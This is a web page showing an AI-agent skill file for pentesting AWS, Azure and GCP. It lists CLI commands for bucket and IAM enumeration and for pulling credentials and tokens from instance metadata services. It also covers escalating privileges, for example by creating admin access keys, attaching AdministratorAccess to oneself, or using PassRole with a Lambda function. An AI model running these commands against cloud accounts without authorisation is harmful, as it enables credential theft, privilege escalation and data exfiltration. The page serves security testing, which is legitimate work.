exploiting-cloud-platforms
Skill11 starsChanged 3 months agoApache-2.0View on GitHub
Exploit AWS, Azure, and GCP cloud misconfigurations including S3 buckets, IAM roles, metadata services, serverless functions, and cloud-specific privilege escalation. Use when pentesting cloud environments or assessing cloud security.
We split this skill into the rules it gives an agent
1 rule. About 0 are common, 1 is distinctive, and 0 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈1
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 416
CloudTrail Disabled: - No logging of API calls
≈ “Common” is an estimate: at least 1 in 5 of the 308,232 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Exploiting Cloud Platforms
When to Use
- AWS, Azure, or GCP security assessment
- Cloud misconfiguration exploitation
- S3/Blob/Storage bucket hunting
- Cloud IAM privilege escalation
- Serverless function exploitation
- Cloud metadata service abuse
When NOT to Use
- On-premises Active Directory — use
attacking-active-directory - Container and Kubernetes internals — use
container-security - IaC and pipeline review from source — use
auditing-supply-chain - Investigating a cloud compromise — use
responding-to-incidents - Hardening an account's posture rather than attacking it — use
hardening-cloud-posture
Route to a Depth Skill
Cloud has grown several attack surfaces deep enough to warrant their own procedure skill. When the assessment narrows to one of these, switch — the IAM-and-storage methodology here does not carry their specific detail.
| Signal | Skill |
| A managed Kubernetes cluster (EKS/GKE/AKS): pod-to-cloud IMDS, IRSA/Workload Identity, k8s RBAC | container-security |
| CI/CD pipeline with OIDC federation to the cloud: broad trust policies, runner compromise | auditing-supply-chain |
AWS Security
AWS CLI Setup
# Configure credentials
aws configure
# Or export directly
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_DEFAULT_REGION=us-east-1
# Test credentials
aws sts get-caller-identity
# List available regions
aws ec2 describe-regionsS3 Bucket Enumeration
# List buckets
aws s3 ls
# List bucket contents
aws s3 ls s3://bucket-name/
aws s3 ls s3://bucket-name/ --recursive
# Download bucket contents
aws s3 sync s3://bucket-name/ ./local-folder/
# Check public access
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name
# Test unauthenticated access
aws s3 ls s3://bucket-name/ --no-sign-request
curl https://bucket-name.s3.amazonaws.com/S3 Bucket Discovery:
# Common naming patterns
company-backup
company-data
company-dev
company-prod
company-logs
company-assets
# Tools
# s3scanner
python3 s3scanner.py buckets.txt
# S3 Inspector
python3 s3inspector.py --bucket-file buckets.txtIAM Enumeration
# Current user info
aws sts get-caller-identity
# List IAM users (if allowed)
aws iam list-users
# List user policies
aws iam list-attached-user-policies --user-name username
aws iam list-user-policies --user-name username
# Get policy details
aws iam get-policy --policy-arn arn:aws:iam::aws:policy/PolicyName
aws iam get-policy-version --policy-arn arn --version-id v1
# List roles
aws iam list-roles
# List groups
aws iam list-groupsEC2 Enumeration
# List instances
aws ec2 describe-instances
# Get instance metadata (from instance)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
# List security groups
aws ec2 describe-security-groups
# List key pairs
aws ec2 describe-key-pairs
# List snapshots
aws ec2 describe-snapshots --owner-ids self
# Public snapshots by account
aws ec2 describe-snapshots --owner-ids 123456789012 --restorable-by-user-ids allLambda Functions
# List functions
aws lambda list-functions
# Get function code
aws lambda get-function --function-name function-name
# Invoke function
aws lambda invoke --function-name function-name output.txt
# Get function configuration
aws lambda get-function-configuration --function-name function-nameRDS Enumeration
# List DB instances
aws rds describe-db-instances
# List DB snapshots
aws rds describe-db-snapshots
# Check if publicly accessible
aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,PubliclyAccessible]'Secrets Manager
# List secrets
aws secretsmanager list-secrets
# Get secret value
aws secretsmanager get-secret-value --secret-id secret-nameCloudTrail (Logging)
# Check if CloudTrail is enabled
aws cloudtrail describe-trails
# Check trail status
aws cloudtrail get-trail-status --name trail-name
# Get recent events
aws cloudtrail lookup-eventsAWS Privilege Escalation
Common Misconfigurations:
# iam:CreatePolicyVersion - modify existing policies
# iam:SetDefaultPolicyVersion - set older policy version
# iam:PassRole + lambda:CreateFunction - execute code as role
# iam:AttachUserPolicy - attach admin policy to self
# iam:PutUserPolicy - add inline policy to self
# iam:CreateAccessKey - create keys for other users
# iam:UpdateAssumeRolePolicy - modify trust relationshipsExploitation Examples:
# Create access key for admin user (if iam:CreateAccessKey)
aws iam create-access-key --user-name admin-user
# Attach admin policy (if iam:AttachUserPolicy)
aws iam attach-user-policy --user-name current-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# PassRole + Lambda
aws lambda create-function --function-name evil --runtime python3.9 --role arn:aws:iam::ACCOUNT:role/AdminRole --handler lambda_function.lambda_handler --zip-file fileb://function.zip
aws lambda invoke --function-name evil output.txtAzure Security
Azure CLI setup, Blob storage, VM/Azure AD enumeration, Function Apps, Key Vault, and metadata service commands live in the deep reference: references/azure-command-reference.md.
GCP Security
gcloud Setup
# Login
gcloud auth login
# Login with service account
gcloud auth activate-service-account --key-file=key.json
# Get current account
gcloud config list
# List projects
gcloud projects listStorage Bucket Enumeration
# List buckets
gsutil ls
# List bucket contents
gsutil ls gs://bucket-name/
# Download files
gsutil cp gs://bucket-name/file.txt ./
# Check bucket permissions
gsutil iam get gs://bucket-name/
# Test unauthenticated access
curl https://storage.googleapis.com/bucket-name/file.txtBucket Discovery:
# Common patterns
company-backup
company-data
company_backup
company_data
# GCPBucketBrute
python3 gcpbucketbrute.py -k companyCompute Engine
# List instances
gcloud compute instances list
# Get instance details
gcloud compute instances describe instance-name --zone=zone
# List disks
gcloud compute disks list
# List snapshots
gcloud compute snapshots list
# List firewall rules
gcloud compute firewall-rules listIAM Enumeration
# List service accounts
gcloud iam service-accounts list
# Get IAM policy
gcloud projects get-iam-policy PROJECT_ID
# List roles
gcloud iam roles list
# Describe role
gcloud iam roles describe roles/editorCloud Functions
# List functions
gcloud functions list
# Describe function
gcloud functions describe function-name --region=region
# Download source code (if accessible)
gcloud functions describe function-name --region=region --format="value(sourceArchiveUrl)"GCP Metadata Service
# From GCP VM
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true" -H "Metadata-Flavor: Google"
# Get access token
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
# Get service account email
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" -H "Metadata-Flavor: Google"Cloud Exploitation Tools
AWS:
# Pacu - AWS exploitation framework
python3 pacu.py
# ScoutSuite - Security auditing
python3 scout.py aws
# Prowler - Security assessment
./prowler -M csv
# WeirdAAL - AWS attack library
python3 weirdAAL.pyAzure:
# MicroBurst - PowerShell toolkit
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureBlobs
Invoke-EnumerateAzureSubDomains
# ScoutSuite
python3 scout.py azure
# ROADtools - Azure AD
roadrecon auth
roadrecon gather
roadrecon guiGCP:
# ScoutSuite
python3 scout.py gcp
# GCP-IAM-Privilege-Escalation
# Check for privilege escalation pathsQuick Cloud Wins
AWS:
- Public S3 buckets with sensitive data
- Overly permissive IAM policies
- Unencrypted snapshots
- Public RDS instances
- Lambda functions with secrets in environment variables
- EC2 metadata service abuse (SSRF)
Azure:
- Public blob storage containers
- Overly permissive RBAC
- Exposed Key Vault secrets
- Public-facing VMs with weak credentials
- Function apps with hardcoded secrets
GCP:
- Public storage buckets
- Overly permissive IAM bindings
- Public compute instances
- Service account key exposure
- Cloud Functions with secrets in code
Common Cloud Misconfigurations
- Public Storage - S3/Blob/GCS buckets with public read/write
- Excessive Permissions - Overly permissive IAM/RBAC policies
- Exposed Secrets - Keys/passwords in code, environment variables
- No MFA - Critical accounts without multi-factor authentication
- Open Security Groups - 0.0.0.0/0 access on sensitive ports
- Unencrypted Data - Storage/databases without encryption
- Default Credentials - Services using default passwords
- Exposed Metadata - SSRF to cloud metadata services
- Public Snapshots - EBS/disk snapshots publicly accessible
- CloudTrail Disabled - No logging of API calls
<!-- attack:start -->ATT&CK Coverage
Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Initial Access (TA0001)
- T1078 Valid Accounts (also Persistence, Privilege Escalation, Defense Evasion) — see also
cracking-passwords,attacking-active-directory - T1078.004 Cloud Accounts (also Persistence)
- T1199 Trusted Relationship — see also
auditing-supply-chain
Persistence (TA0003)
- T1098.001 Additional Cloud Credentials — see also
responding-to-incidents
Credential Access (TA0006)
- T1528 Steal Application Access Token — see also
testing-apis - T1552 Unsecured Credentials — see also
escalating-linux-privileges,auditing-supply-chain - T1552.005 Cloud Instance Metadata API — see also
testing-web-applications,container-security
Discovery (TA0007)
- T1069 Permission Groups Discovery — see also
attacking-active-directory - T1087 Account Discovery — see also
attacking-active-directory - T1526 Cloud Service Discovery
Collection (TA0009)
- T1530 Data from Cloud Storage
Impact (TA0040)
- T1496 Resource Hijacking — see also
hunting-threats
Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
<!-- attack:end -->References
Other versions1 project uses a version of this.
Word for word · 1
- EvilFreelancer/secs★ 11100% same
Edited · 0
None found.
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository50 other files it gives its agents.
- AGENTS.mdAGENTS.md
- CLAUDE.mdCLAUDE.md
- analyzing-binariesSkill
- analyzing-malwareSkill
- analyzing-memory-imagesSkill
- analyzing-network-trafficSkill
- analyzing-phishing-emailsSkill
- attacking-active-directorySkill
- attacking-wireless-networksSkill
- auditing-code-for-vulnerabilitiesSkill
- auditing-mcp-serversSkill
- auditing-supply-chainSkill
- container-securitySkill
- cracking-passwordsSkill
- engineering-detectionsSkill
- enumerating-network-servicesSkill
- escalating-linux-privilegesSkill
- escalating-windows-privilegesSkill
- establishing-persistenceSkill
- hardening-cloud-postureSkill
- hunting-threatsSkill
- hunting-web-backdoorsSkill
- iac-securitySkill
- investigating-aws-incidentsSkill
- investigating-azure-incidentsSkill
- investigating-gcp-incidentsSkill
- investigating-m365-entraSkill
- investigating-windows-endpointsSkill
- maintaining-engagement-stateSkill
- managing-vulnerabilitiesSkill
- mapping-attack-techniquesSkill
- orchestrating-vulnerability-researchSkill
- performing-reconnaissanceSkill
- performing-social-engineeringSkill
- producing-threat-intelligenceSkill
- recognizing-deceptionSkill
- reporting-security-findingsSkill
- responding-to-incidentsSkill
- reviewing-cryptographySkill
- securing-ai-systemsSkill
- testing-apisSkill
- testing-ics-ot-protocolsSkill
- testing-mobile-applicationsSkill
- testing-web-applicationsSkill
- threat-modelingSkill
- transferring-filesSkill
- triaging-security-alertsSkill
- vetting-agent-extensionsSkill
- writing-sigma-rulesSkill
- writing-yara-rulesSkill
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